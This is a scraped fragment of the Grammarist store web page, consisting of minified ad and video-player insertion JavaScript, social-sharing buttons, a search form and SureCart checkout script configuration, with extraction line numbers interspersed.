e=Ue()*We();window.adthriveCLS.preSlotInsertionMeasurements?window.adthriveCLS.preSlotInsertionMeasurements.totalPageArea=e:window.adthriveCLS.preSlotInsertionMeasurements={totalPageArea:e}}}_getElementCoords(e,t=!1){var n;let r=(n=this._densityElementCoords)==null?void 0:n.get(e);return r?t?r.top:r.bottom:this._getLiveElementCoords(e,t)}_getLiveElementCoords(e,t=!1){let n=e.getBoundingClientRect();return(t?n.top:n.bottom)+window.scrollY}_addContentAd(e,t,n=document){var r;let i=null,a=L(t),o=Oe(t),s=this._clsOptions.siteAds.adOptions.stickyContainerConfig,c=s==null||(r=s.content)==null?void 0:r.enabled,l=c?`adthrive-sticky-container`:``,u=this.addAd(e,this.getDynamicElementId(t),t.position,[l,a,o,...t.classNames]);if(u){let e=we(t,u);if(e.length){var d;(!c||!(!(s==null||(d=s.content)==null)&&d.minHeight))&&(u.style.minHeight=this.locationToMinHeight[t.location]),i={clsDynamicAd:t,dynamicAd:t,element:u,sizes:e,name:`${t.location}_${t.sequence}`,infinite:n!==document}}}return i}getDynamicElementId(e){return`AdThrive_${e.location}_${e.sequence}_${this._device}`}getElements(e,t=document,n){let r=j(e,t);return r.valid,r.elements}_getDynamicAdSelectorContext(e){return{location:e.location,sequence:e.sequence,name:e.name}}_logInvalidBlockedSelector(e,t){}addAd(e,t,n,r=[],i=``){if(!document.getElementById(t)){let a=`<div id="${t}" class="adthrive-ad ${r.join(` `)}"></div>`;i&&(a=`<div class="${i}">${a}</div>`),e.insertAdjacentHTML(n,a)}return document.getElementById(t)}_repeatDynamicAds(t){let n=[],r=t.location===e.Recipe?99:this.locationMaxLazySequence.get(t.location),i=t.lazy?k(r,0):0,a=t.max,o=t.lazyMax,s=i===0&&t.lazy?a+o:Math.min(Math.max(i-t.sequence+1,0),a+o),c=Math.max(a,s);for(let e=0;e<c;e++){let r=Number(t.sequence)+e,i=t.lazy&&e>=a,o=r;t.name===`Recipe_1`&&r>=5&&(o=r+1),n.push({...t,sequence:o,lazy:i})}return n}_locationEnabled(e){let t=this._clsOptions.enabledLocations.includes(e.location),n=this._clsOptions.disableAds&&this._clsOptions.disableAds.all||document.body.classList.contains(`adthrive-disable-all`),r=!document.body.classList.contains(`adthrive-disable-content`)&&!this._clsOptions.disableAds.reasons.has(`content_plugin`);return t&&!n&&r}},Mt=class{constructor(){s(this,`_map`,[])}add(e,t,n,r=document){this._map.push({el:e,coords:t,dynamicAd:n,target:r})}addSorted(e,t,n,r=document){let i=this._upperBoundIndex(t);this._map.splice(i,0,{el:e,coords:t,dynamicAd:n,target:r})}get map(){return this._map}sort(){this._map.sort(({coords:e},{coords:t})=>e-t)}filterUsed(){this._map=this._map.filter(({dynamicAd:e})=>!e.used)}findNeighborIndices(e){let t=this._upperBoundIndex(e);return[t-1>=0?t-1:null,t<this._map.length?t:null]}_upperBoundIndex(e){let t=0,n=this._map.length;for(;t<n;){let r=t+n>>>1;this._map[r].coords<=e?t=r+1:n=r}return t}reset(){this._map=[]}},Nt=class extends Mt{};let Pt=e=>{let t=ne(),n=T(),r=e.siteAdsProfiles,i=null;if(r&&r.length)for(let e of r){let r=e.targeting.device,a=e.targeting.browserEngine,o=r&&r.length&&r.includes(n),s=a&&a.length&&a.includes(t);o&&s&&(i=e)}return i},Ft=e=>{let t=Pt(e);if(t){let e=t.profileId;document.body.classList.add(`raptive-profile-${e}`)}},$={Video_Collapse_Autoplay_SoundOff:`Video_Collapse_Autoplay_SoundOff`,Video_Indiv
1932idual_Autoplay_SOff:`Video_Individual_Autoplay_SOff`,Video_Coll_SOff_Smartphone:`Video_Coll_SOff_Smartphone`,Video_In_Post_ClicktoPlay_SoundOn:`Video_In-Post_ClicktoPlay_SoundOn`,Video_Collapse_Autoplay_SoundOff_15s:`Video_Collapse_Autoplay_SoundOff_15s`,Video_Individual_Autoplay_SOff_15s:`Video_Individual_Autoplay_SOff_15s`,Video_Coll_SOff_Smartphone_15s:`Video_Coll_SOff_Smartphone_15s`,Video_In_Post_ClicktoPlay_SoundOn_15s:`Video_In-Post_ClicktoPlay_SoundOn_15s`};var It=class{get enabled(){throw Error(`Enablement must be defined at factory creation time.`)}};let Lt=(e=navigator.userAgent)=>E(e)===`desktop`;var Rt=class extends It{constructor(e,t,n){super(),this._videoConfig=e,this._component=t,this._context=n,s(this,`_potentialPlayerMap`,void 0),s(this,`_device`,void 0),s(this,`_stickyRelatedOnPage`,!1),s(this,`_relatedMediaIds`,[]),this._device=Lt()?`desktop`:`mobile`,this._potentialPlayerMap=this.setPotentialPlayersMap()}setPotentialPlayersMap(){let e=this._videoConfig.players||[],t=this._filterPlayerMap();return t.stationaryRelated=this._getPotentialStationaryPlayers(e,t.stationaryRelated),this._potentialPlayerMap=t,this._potentialPlayerMap}_getPotentialStationaryPlayers(e,t){let n=new Set(t);return e.forEach(e=>e.type===`stationaryRelated`&&e.enabled&&n.add(e)),[...n]}_filterPlayerMap(){let e=this._videoConfig.players,t={stickyRelated:[],stickyPlaylist:[],stationaryRelated:[]};return e&&e.length?e.filter(e=>{var t;return(t=e.devices)==null?void 0:t.includes(this._device)}).reduce((e,t)=>{if(e[t.type]||(F.event(this._component,`constructor`,`Unknown Video Player Type detected`,t.type),e[t.type]=[]),t.enabled){let n=t.type;this._videoConfig.shouldDisableStickyRelated&&t.type===`stickyRelated`&&(n=`stationaryRelated`),e[n].push(t)}return e},t):t}_checkPlayerSelectorOnPage(e){for(let t of this._potentialPlayerMap[e]){let e=this._getPlacementElement(t);if(e)return{player:t,playerElement:e}}return{player:null,playerElement:null}}_getOverrideElement(e,t,n){if(e&&t){let r=document.createElement(`div`);t.insertAdjacentElement(e.position,r),n=r}else{let{player:e,playerElement:t}=this._checkPlayerSelectorOnPage(`stickyPlaylist`);if(e&&t){let r=document.createElement(`div`);t.insertAdjacentElement(e.position,r),n=r}}return n}_shouldOverrideElement(e){let t=e.getAttribute(`override-embed`);return t===`true`||t===`false`?t===`true`:this._videoConfig.relatedSettings?this._videoConfig.relatedSettings.overrideEmbedLocation:!1}_checkPageSelector(e,t,n=[]){return e&&t&&n.length===0?(window.location.pathname!==`/`&&F.event(`VideoUtils`,`getPlacementElement`,{name:`Error`,message:`PSNF: ${e} does not exist on the page`}),!1):!0}_getElementSelector(e,t,n){return t&&t.length>n?t[n]:(F.event(`VideoUtils`,`getPlacementElement`,{name:`Error`,message:`ESNF: ${e} does not exist on the page`}),null)}_getPlacementElement(e){let{pageSelector:t,elementSelector:n,skip:r}=e,{valid:i,elements:a,...o}=P(t),{valid:s,elements:c,...l}=N(n);return t!==``&&!i?(F.error(`VideoUtils`,`getPlacementElement`,Error(`${t} is not a valid selector`),o),null):s?this._checkPageSelector(t,i,a)&&this._getElementSelector(n,c,r)||null:(F.error(`VideoUtils`,`getPlacementElement`,Error(`${n} is not a valid selector`),l),null)}_getEmbeddedPlayerType(e){if(this._videoConfig.shouldDisableStickyRelated)return`static`;let t=e.getAttribute(`data-player-type`);return(!t||t==="default")&&(t=this._videoConfig.relatedSettings?this._videoConfig.relatedSettings.defaultPlayerType:`static`),this._stickyRelatedOnPage&&(t=`static`),t}_getMediaId(e){let t=e.getAttribute(`data-video-id`);return t?(this._relatedMediaIds.push(t),t):!1}_getOrientation(e){return e.getAttribute(`orientation`)===`vertical`?`vertical`:`horizontal`}_createRelatedPlayer(e,t,n,r,i){t===`collapse`?this._createCollapsePlayer(e,n):t===`static`&&this._createStaticPlayer(e,n,r,i)}_createCollapsePlayer(e,t){let{player:n,playerElement:r}=this._checkPlayerSelectorOnPage(`stickyRelated`),i=n||this._potentialPlayerMap.stationaryRelated[0];i&&i.playerId&&!this._videoConfig.shouldDisableStickyRelated?(this._shouldOverrideElement(t)&&(t=this._getOverrideElement(n,r,t)),t=document.querySelector(`#cls-v
1932ideo-container-${e} > div`)||t,this._createStickyRelatedPlayer({...i,mediaId:e},t)):F.error(this._component,`_createCollapsePlayer`,`No video player found`)}_createStaticPlayer(e,t,n,r){if(this._potentialPlayerMap.stationaryRelated.length&&this._potentialPlayerMap.stationaryRelated[0].playerId){let i=this._potentialPlayerMap.stationaryRelated[0];this._createStationaryRelatedPlayer({...i,mediaOrPlaylistId:e,orientation:r},t,n)}else F.error(this._component,`_createStaticPlayer`,`No video player found`)}_shouldRunAutoplayPlayers(){return!!(this._isVideoAllowedOnPage()&&(this._potentialPlayerMap.stickyRelated.length||this._potentialPlayerMap.stickyPlaylist.length))}_setPlaylistMediaIdWhenStationaryOnPage(e,t){if(this._potentialPlayerMap.stationaryRelated.length&&this._potentialPlayerMap.stationaryRelated[0].playerId&&e&&e.length){let n=e[0].getAttribute(`data-video-id`);return n?{...t,mediaId:n}:t}return t}_determineAutoplayPlayers(e){let t=this._component,n=t===`VideoManagerComponent`,r=this._context;if(this._stickyRelatedOnPage){F.event(t,`stickyRelatedOnPage`,n&&{device:r&&r.device,isDesktop:this._device}||{});return}let{playerElement:i}=this._checkPlayerSelectorOnPage(`stickyPlaylist`),{player:a}=this._checkPlayerSelectorOnPage(`stickyPlaylist`);a&&a.playerId&&i?(a=this._setPlaylistMediaIdWhenStationaryOnPage(e,a),this._createPlaylistPlayer(a,i)):Math.random()<.01&&setTimeout(()=>{F.event(t,`noStickyPlaylist`,n&&{vendor:`none`,device:r&&r.device,isDesktop:this._device}||{})},1e3)}_initializeRelatedPlayers(e){let t=new Map;for(let n=0;n<e.length;n++){let r=e[n],i=r.offsetParent,a=this._getEmbeddedPlayerType(r),o=this._getMediaId(r),s=this._getOrientation(r);if(i&&o){let e=(t.get(o)||0)+1;t.set(o,e),this._createRelatedPlayer(o,a,r,e,s)}}}},zt=class extends Rt{constructor(e,t){super(e,`ClsVideoInsertion`),this._videoConfig=e,this._clsOptions=t,s(this,`_IN_POST_SELECTOR`,`.adthrive-video-player`),s(this,`_WRAPPER_BAR_HEIGHT`,36),s(this,`_playersAddedFromPlugin`,[]),t.removeVideoTitleWrapper&&(this._WRAPPER_BAR_HEIGHT=0)}init(){this._initializePlayers()}_wrapVideoPlayerWithCLS(e,t,n=0,r=`horizontal`){if(e.parentNode){let i=e.offsetWidth,a=r===`vertical`;a&&this._device===`desktop`&&(i*=.5);let o=i*(a?16/9:9/16),s=this._createGenericCLSWrapper(o,t,n);return e.parentNode.insertBefore(s,e),s.appendChild(e),s}return null}_createGenericCLSWrapper(e,t,n){let r=document.createElement(`div`);return r.id=`cls-video-container-${t}`,r.className=`adthrive`,r.style.minHeight=`${e+n}px`,r}_getTitleHeight(){let e=document.createElement(`h3`);e.style.margin=`10px 0`,e.innerText=`Title`,e.style.visibility=`hidden`,document.body.appendChild(e);let t=window.getComputedStyle(e),n=parseInt(t.height,10),r=parseInt(t.marginTop,10),i=parseInt(t.marginBottom,10);return document.body.removeChild(e),Math.min(n+i+r,50)}_initializePlayers(){let e=document.querySelectorAll(this._IN_POST_SELECTOR);e.length&&this._initializeRelatedPlayers(e),this._shouldRunAutoplayPlayers()&&this._determineAutoplayPlayers(e)}_createStationaryRelatedPlayer(e,t,n){let r=this._device===`mobile`?[400,225]:[640,360],i=$.Video_In_Post_ClicktoPlay_SoundOn;if(t&&e.mediaOrPlaylistId){let a=`${e.mediaOrPlaylistId}_${n}`,o=this._wrapVideoPlayerWithCLS(t,a,0,e.orientation);this._playersAddedFromPlugin.push(e.mediaOrPlaylistId),o&&this._clsOptions.setInjectedVideoSlots({playerId:e.playerId,playerName:i,playerSize:r,element:o,type:`stationaryRelated`})}}_createStickyRelatedPlayer(e,t){if(this._videoConfig.shouldDisableStickyRelated)return;let n=this._device===`mobile`?[400,225]:[640,360],r=$.Video_Individual_Autoplay_SOff;if(this._stickyRelatedOnPage=!0,this._videoConfig.mobileStickyPlayerOnPage=this._device===`mobile`,this._videoConfig.collapsiblePlayerOnPage=!0,t&&e.position&&e.mediaId){let i=document.createElement(`div`);t.insertAdjacentElement(e.position,i);let a=this._getTitleHeight(),o=this._wrapVideoPlayerWithCLS(i,e.mediaId,this._WRAPPER_BAR_HEIGHT+a);this._playersAddedFromPlugin.push(e.mediaId),o&&this._clsOptions.setInjectedVideoSlots({playlistId:e.playlistId,playerId:e.playerId,playerSize:n,playerName:r,element:i,type:`stickyRelated`})}}_createPlaylistPlayer(e,t){let n=e.playlistId,r=this._device===`mobile`?$.Video_Coll_SOff_Smartphone:$.Video_Collapse_Autoplay_SoundOff,i=this._device===`mobile`?[400,225]:[640,360];this._videoConfig.mobileStickyPlayerOnPage=!0,this._videoConfig.collapsiblePlayerOnPage=!0;let a=document.createElement(`div`);t.insertAdjacentElement(e.position,a);let o=this._WRAPPER_BAR_HEIGHT;e.title&&(o+=this._getTitleHeight());let s=this._wrapVideoPlayerWithCLS(a,n,o);this._playersAddedFromPlugin.push(`playlist-${n}`),s&&this._clsOptions.setInjectedVideoSlots({playlistId:e.playlistId,playerId:e.playerId,playerSize:i,playerName:r,element:a,type:`stickyPlaylist`})}_isVideoAllowedOnPage(){let e=this._clsOptions.disableAds;if(e&&e.video){let t=``;e.reasons.has(`video_plugin`)?t=`video plugin`:e.reasons.has(`video_page`)&&(t=`command queue`);let n=t?`ClsVideoInsertionMigrated`:`ClsVideoInsertion`;return F.error(n,`isVideoAllowedOnPage`,Error(`DBP: Disabled by publisher via ${t||`other`}`)),!1}return!this._clsOptions.videoDisabledFromPlugin}};try{(()=>{let e=new c;
1932!e||!e.enabled||(e.siteAds&&Ft(e.siteAds),new jt(e,new Nt).start(),new zt(new fe(e),e).init())})()}catch(e){F.error(`CLS`,`pluginsertion-iife`,e),window.adthriveCLS&&(window.adthriveCLS.injectedFromPlugin=!1)}})();</script>
1932<script data-no-optimize="1" data-cfasync="false">(function () {var clsElements = document.querySelectorAll("script[id^='cls-']"); window.adthriveCLS && clsElements && clsElements.length === 0 ? window.adthriveCLS.injectedFromPlugin = false : ""; })();</script>
1932<script type="speculationrules"> 1933{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/generatepress_child/*","/wp-content/themes/generatepress/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]} 1934</script>
1934 1935<div id="mv-grow-data" data-settings="{"floatingSidebar":{"stopSelector":false},"general":{"contentSelector":false,"show_count":{"content":false,"sidebar":false,"pop_up":false,"sticky_bar":false},"isTrellis":false},"post":null,"shareCounts":{"facebook":0,"pinterest":0,"reddit":0,"twitter":0},"shouldRun":true,"buttonSVG":{"share":{"height":32,"width":26,"paths":["M20.8 20.8q1.984 0 3.392 1.376t1.408 3.424q0 1.984-1.408 3.392t-3.392 1.408-3.392-1.408-1.408-3.392q0-0.192 0.032-0.448t0.032-0.384l-8.32-4.992q-1.344 1.024-2.944 1.024-1.984 0-3.392-1.408t-1.408-3.392 1.408-3.392 3.392-1.408q1.728 0 2.944 0.96l8.32-4.992q0-0.128-0.032-0.384t-0.032-0.384q0-1.984 1.408-3.392t3.392-1.408 3.392 1.376 1.408 3.424q0 1.984-1.408 3.392t-3.392 1.408q-1.664 0-2.88-1.024l-8.384 4.992q0.064 0.256 0.064 0.832 0 0.512-0.064 0.768l8.384 4.992q1.152-0.96 2.88-0.96z"]},"pinterest":{"height":32,"width":23,"paths":["M0 10.656q0-1.92 0.672-3.616t1.856-2.976 2.72-2.208 3.296-1.408 3.616-0.448q2.816 0 5.248 1.184t3.936 3.456 1.504 5.12q0 1.728-0.32 3.36t-1.088 3.168-1.792 2.656-2.56 1.856-3.392 0.672q-1.216 0-2.4-0.576t-1.728-1.568q-0.16 0.704-0.48 2.016t-0.448 1.696-0.352 1.28-0.48 1.248-0.544 1.12-0.832 1.408-1.12 1.536l-0.224 0.096-0.16-0.192q-0.288-2.816-0.288-3.36 0-1.632 0.384-3.68t1.184-5.152 0.928-3.616q-0.576-1.152-0.576-3.008 0-1.504 0.928-2.784t2.368-1.312q1.088 0 1.696 0.736t0.608 1.824q0 1.184-0.768 3.392t-0.8 3.36q0 1.12 0.8 1.856t1.952 0.736q0.992 0 1.824-0.448t1.408-1.216 0.992-1.696 0.672-1.952 0.352-1.984 0.128-1.792q0-3.072-1.952-4.8t-5.12-1.728q-3.552 0-5.952 2.304t-2.4 5.856q0 0.8 0.224 1.536t0.48 1.152 0.48 0.832 0.224 0.544q0 0.48-0.256 1.28t-0.672 0.8q-0.032 0-0.288-0.032-0.928-0.288-1.632-0.992t-1.088-1.696-0.576-1.92-0.192-1.92z"]},"facebook":{"height":32,"width":18,"paths":["M17.12 0.224v4.704h-2.784q-1.536 0-2.080 0.64t-0.544 1.92v3.392h5.248l-0.704 5.28h-4.544v13.568h-5.472v-13.568h-4.544v-5.28h4.544v-3.904q0-3.328 1.856-5.152t4.96-1.824q2.624 0 4.064 0.224z"]},"flipboard":{"height":32,"width":32,"paths":["M0 0h10.272v32h-10.272v-32zM11.328 11.328h10.4v10.4h-10.4v-10.4zM11.328 0h20.672v10.272h-20.672v-10.272z"]},"twitter":{"height":30,"width":32,"paths":["M30.3 29.7L18.5 12.4l0 0L29.2 0h-3.6l-8.7 10.1L10 0H0.6l11.1 16.1l0 0L0 29.7h3.6l9.7-11.2L21 29.7H30.3z M8.6 2.7 L25.2 27h-2.8L5.7 2.7H8.6z"]},"email":{"height":32,"width":28,"paths":["M18.56 17.408l8.256 8.544h-25.248l8.288-8.448 4.32 4.064zM2.016 6.048h24.32l-12.16 11.584zM20.128 15.936l8.224-7.744v16.256zM0 24.448v-16.256l8.288 7.776z"]}},"
1935utmParams":[],"pinterest":{"pinDescriptionSource":"post_pinterest_description","pinDescription":null,"pinTitle":null,"pinImageURL":null,"pinnableImages":"post_images","postImageHidden":"yes","postImageHiddenMultiple":"yes","lazyLoadCompatibility":null,"buttonPosition":"top-left","buttonShape":"rectangular","showButtonLabel":"yes","buttonLabelText":"Save","buttonShareBehavior":"post_image","hoverButtonShareBehavior":"post_image","minimumImageWidth":"","minimumImageHeight":"","showImageOverlay":"yes","postTypeDisplay":["post","page"],"imagePinIt":"1","hasContent":"1","shareURL":"https:\/\/grammarist.com\/store\/","
1935bypassClasses":["mv-grow-bypass","no_pin"],"bypassDenyClasses":["dpsp-post-pinterest-image-hidden-inner","mv-create-pinterest"],"ignoreSelectors":[],"hoverButtonIgnoreClasses":["lazyloaded","lazyload","td-animation-stack","ezlazyloaded","penci-lazy","ut-lazy","ut-image-loaded","ut-animated-image"],"disableIframes":null}}"></div><aside id="dpsp-floating-sidebar" aria-label="social sharing sidebar" class="dpsp-shape-circle dpsp-size-small dpsp-bottom-spacing dpsp-hide-on-mobile dpsp-position-left dpsp-button-style-1 dpsp-animation-2" data-trigger-scroll="1"> 1936 <ul class="dpsp-networks-btns-wrapper dpsp-networks-btns-share dpsp-networks-btns-sidebar dpsp-has-button-icon-animation"> 1937<li class="dpsp-network-list-item dpsp-network-list-item-facebook"> 1938 <a rel="nofollow noopener" href="https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Fgrammarist.com%2Fstore%2F&t=Shop" class="dpsp-network-btn dpsp-facebook dpsp-no-label dpsp-first" target="_blank" aria-label="Share on Facebook" title="Share on Facebook"> <span class="dpsp-network-icon "> 1939 <span class="dpsp-network-icon-inner"><svg version="1.1" xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewbox="0 0 18 32"><path d="M17.12 0.224v4.704h-2.784q-1.536 0-2.080 0.64t-0.544 1.92v3.392h5.248l-0.704 5.28h-4.544v13.568h-5.472v-13.568h-4.544v-5.28h4.544v-3.904q0-3.328 1.856-5.152t4.96-1.824q2.624 0 4.064 0.224z"></path></svg></span> 1940 </span> 1941 </a></li> 1942 1943<li class="dpsp-network-list-item dpsp-network-list-item-flipboard"> 1944 <a rel="nofollow noopener" href="https://share.flipboard.com/bookmarklet/popout?v=2&url=https%3A%2F%2Fgrammarist.com%2Fstore%2F&title=Shop" class="dpsp-network-btn dpsp-flipboard dpsp-no-label" target="_blank" aria-label="Share on Flipboard" title="Share on Flipboard"> <span class="dpsp-network-icon "> 1945 <span class="dpsp-network-icon-inner"><svg version="1.1" xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewbox="0 0 32 32"><path d="M0 0h10.272v32h-10.272v-32zM11.328 11.328h10.4v10.4h-10.4v-10.4zM11.328 0h20.672v10.272h-20.672v-10.272z"></path></svg></span> 1946 </span> 1947 </a></li> 1948 1949<li class="dpsp-network-list-item dpsp-network-list-item-x"> 1950 <a rel="nofollow noopener" href="https://x.com/intent/tweet?text=Shop&url=https%3A%2F%2Fgrammarist.com%2Fstore%2F" class="dpsp-network-btn dpsp-x dpsp-no-label" target="_blank" aria-label="Share on X" title="Share on X"> <span class="dpsp-network-icon "> 1951 <span class="dpsp-network-icon-inner"><svg version="1.1" xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewbox="0 0 32 30"><path d="M30.3 29.7L18.5 12.4l0 0L29.2 0h-3.6l-8.7 10.1L10 0H0.6l11.1 16.1l0 0L0 29.7h3.6l9.7-11.2L21 29.7H30.3z M8.6 2.7 L25.2 27h-2.8L5.7 2.7H8.6z"></path></svg></span> 1952 </span> 1953 </a></li> 1954 1955<li class="dpsp-network-list-item dpsp-network-list-item-linkedin"> 1956 <a rel="nofollow noopener" href="https://www.linkedin.com/shareArticle?url=https%3A%2F%2Fgrammarist.com%2Fstore%2F&title=Shop&summary=Best%20Selling%20Course%3A%20Breakthrough%20Copyediting%20and%20Proofreading%20Profit%20from%20Precision%3A%20Enhance%20your%20editing%20skills%20and%20discover%20how%20to%20earn%20with%20every%20meticulous%20edit.%20Start%20your%20profitable%20editing%20journey%20now%21%20Learn%20More%20No%20products%20found.&mini=true" class="dpsp-network-btn dpsp-linkedin dpsp-no-label" target="_blank" aria-label="Share on LinkedIn" title="Share on LinkedIn"> <span class="dpsp-network-icon "> 1957 <span class="dpsp-network-icon-inner"><svg version="1.1" xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewbox="0 0 27 32"><path d="M6.24 11.168v17.696h-5.888v-17.696h5.888zM6.624 5.696q0 1.312-0.928 2.176t-2.4 0.864h-0.032q-1.472 0-2.368-0.864t-0.896-2.176 0.928-2.176 2.4-0.864 2.368 0.864 0.928 2.176zM27.424 18.72v10.144h-5.856v-9.472q0-1.888-0.736-2.944t-2.272-1.056q-1.12 0-1.856 0.608t-1.152 1.536q-0.192 0.544-0.192 1.44v9.888h-5.888q0.032-7.136 0.032-11.552t0-5.28l-0.032-0.864h5.888v2.56h-0.032q0.352-0.576 0.736-0.992t0.992-0.928 1.568-0.768 2.048-0.288q3.040 0 4.896 2.016t1.856 5.952z"></path></svg></span> 1958 </span> 1959 </a></li> 1960 1961<li class="dpsp-network-list-item dpsp-network-list-item-email"> 1962 <a rel="nofollow noopener" href="/cdn-cgi/l/email-protection#78470b0d1a121d1b0c452b1017085e191508431a171c0145100c0c080b5d4b395d4a3e5d4a3e1f0a191515190a110b0c561b17155d4a3e0b0c170a1d5d4a3e" class="dpsp-network-btn dpsp-email dpsp-no-label dpsp-last" target="_blank" aria-label="Send over email" title="Send over email"> <span class="dpsp-network-icon "> 1963 <span class="dpsp-network-icon-inner"><svg version="1.1" xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewbox="0 0 28 32"><path d="M18.56 17.408l8.256 8.544h-25.248l8.288-8.448 4.32 4.064zM2.016 6.048h24.32l-12.16 11.584zM20.128 15.936l8.224-7.744v16.256zM0 24.448v-16.256l8.288 7.776z"></path></svg></span> 1964 </span> 1965 </a></li> 1966</ul></aside>
vendor: 109 bytes, lines 1966-1967
1966 1967<script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script>
1967<script type="text/rocketlazyloadscript" id="generate-a11y"> 1968!function(){"use strict";if("querySelector"in document&&"addEventListener"in window){var e=document.body;e.addEventListener("pointerdown",(function(){e.classList.add("using-mouse")}),{passive:!0}),e.addEventListener("keydown",(function(){e.classList.remove("using-mouse")}),{passive:!0})}}(); 1969</script>
1969 1970 <div class="gp-modal gp-search-modal" id="gp-search" role="dialog" aria-modal="true" aria-label="Search"> 1971 <div class="gp-modal__overlay" tabindex="-1" data-gpmodal-close> 1972 <div class="gp-modal__container"> 1973 <form role="search" method="get" class="search-modal-form" action="https://grammarist.com/"> 1974 <label for="search-modal-input" class="screen-reader-text">Search for:</label> 1975 <div class="search-modal-fields"> 1976 <input id="search-modal-input" type="search" class="search-field" placeholder="Search …" value="" name="s" /> 1977 <button aria-label="Search"><span class="gp-icon icon-search"><svg viewBox="0 0 512 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path fill-rule="evenodd" clip-rule="evenodd" d="M208 48c-88.366 0-160 71.634-160 160s71.634 160 160 160 160-71.634 160-160S296.366 48 208 48zM0 208C0 93.125 93.125 0 208 0s208 93.125 208 208c0 48.741-16.765 93.566-44.843 129.024l133.826 134.018c9.366 9.379 9.355 24.575-.025 33.941-9.379 9.366-24.575 9.355-33.941-.025L337.238 370.987C301.747 399.167 256.839 416 208 416 93.125 416 0 322.875 0 208z" /></svg></span></button> 1978 </div> 1979 </form>
1980 </div> 1981 </div> 1982 </div> 1983
1983<script id="wp-importmap" type="importmap"> 1984{"imports":{"@surecart/checkout":"https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/scripts/checkout/index.js?ver=fa99df98c6fd7c7e52b9","@surecart/checkout-events":"https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/scripts/checkout-events/index.js?ver=ed9647bd6c7865efe2ad","@wordpress/interactivity":"https://grammarist.com/wp-includes/js/dist/script-modules/interactivity/index.min.js?ver=efaa5193bbad9c60ffd1","@surecart/checkout-service":"https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/scripts/checkout-actions/index.js?ver=b52e40ae51c69dd18a5f","@surecart/google-events":"https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/scripts/google/index.js?ver=d92e383a18bcf54ea538","@surecart/facebook-events":"https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/scripts/facebook/index.js?ver=c125b4294a423b52c997","@wordpress/a11y":"https://grammarist.com/wp-includes/js/dist/script-modules/a11y/index.min.js?ver=f62f48906198ea8abc60","@wordpress/interactivity-router":"https://grammarist.com/wp-includes/js/dist/script-modules/interactivity-router/index.min.js?ver=a6e90b8896f83fb1b5dd","@surecart/api-fetch":"https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/scripts/fetch/index.js?ver=4e529b0474ba92ae5500"}} 1985</script>
vendor: 1 bytes, line 1985
1985
1986<script type="text/rocketlazyloadscript" id="@surecart/checkout-js-module" data-rocket-src="https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/scripts/checkout/index.js?ver=fa99df98c6fd7c7e52b9" data-rocket-type="module"></script>
vendor: 1 bytes, line 1986
1986
1987<script type="text/rocketlazyloadscript" id="@surecart/cart-js-module" data-rocket-src="https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/scripts/cart/index.js?ver=c2f35b71b4309df849fe" data-rocket-type="module"></script>
vendor: 1 bytes, line 1987
1987
1988<script type="text/rocketlazyloadscript" id="@surecart/dropdown-js-module" data-rocket-src="https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/scripts/dropdown/index.js?ver=ff73f22e52ec028e47a1" data-rocket-type="module"></script>
vendor: 1 bytes, line 1988
1988
1989<script type="text/rocketlazyloadscript" id="@surecart/product-list-js-module" data-rocket-src="https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/scripts/product-list/index.js?ver=afef1631b65bb6dd60fe" data-rocket-type="module"></script>
vendor: 1 bytes, line 1989
1989
1990<script type="text/rocketlazyloadscript" id="@surecart/product-page-js-module" data-rocket-src="https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/scripts/product-page/index.js?ver=2642ba19365b12dba7ca" data-rocket-type="module"></script>
vendor: 1 bytes, line 1990
1990
1991<script id="wp-script-module-data-@wordpress/interactivity" type="application/json"> 1992{"state":{"surecart/checkout":{"checkout":{"line_items":{"data":[]}},"discountIsRedeemable":false,"isDiscountApplied":false,"hasDiscountAmount":false,"hasSubtotalScratchAmount":false,"itemsCount":0,"hasItems":false},"surecart/product-page":{"quantity":1,"selectedDisplayAmount":"$147","isOnSale":{},"selectedAmount":{},"busy":false,"shouldDisplayImage":{},"adHocAmount":0,"selectedVariant":[],"isOptionUnavailable":{},"isOptionValueSelected":{},"imageDisplay":{},"isSoldOut":{},"isUnavailable":{},"isBundleIncomplete":{},"isOptionSelected":{},"isPriceSelected":{},"buttonText":{}},"surecart/product-list":{"loading":false,"searching":false},"core/router":{"url":"https://grammarist.com/store/"}},"derivedStateClosures":{"surecart/product-page":["state.isOnSale"]}} 1993</script>
vendor: 1 bytes, line 1993
1993
1994<script id="wp-script-module-data-@wordpress/interactivity-router" type="application/json"> 1995{"i18n":{"loading":"Loading page, please wait.","loaded":"Page Loaded."}} 1996</script>
1996 1997
1997<script type="text/rocketlazyloadscript"> 1998 window.scFetchData = 1999 {"root_url":"https:\/\/grammarist.com\/wp-json\/","nonce":"625323a4ee","nonce_endpoint":"https:\/\/grammarist.com\/wp-admin\/admin-ajax.php?action=sc-rest-nonce"} </script>
1999 2000
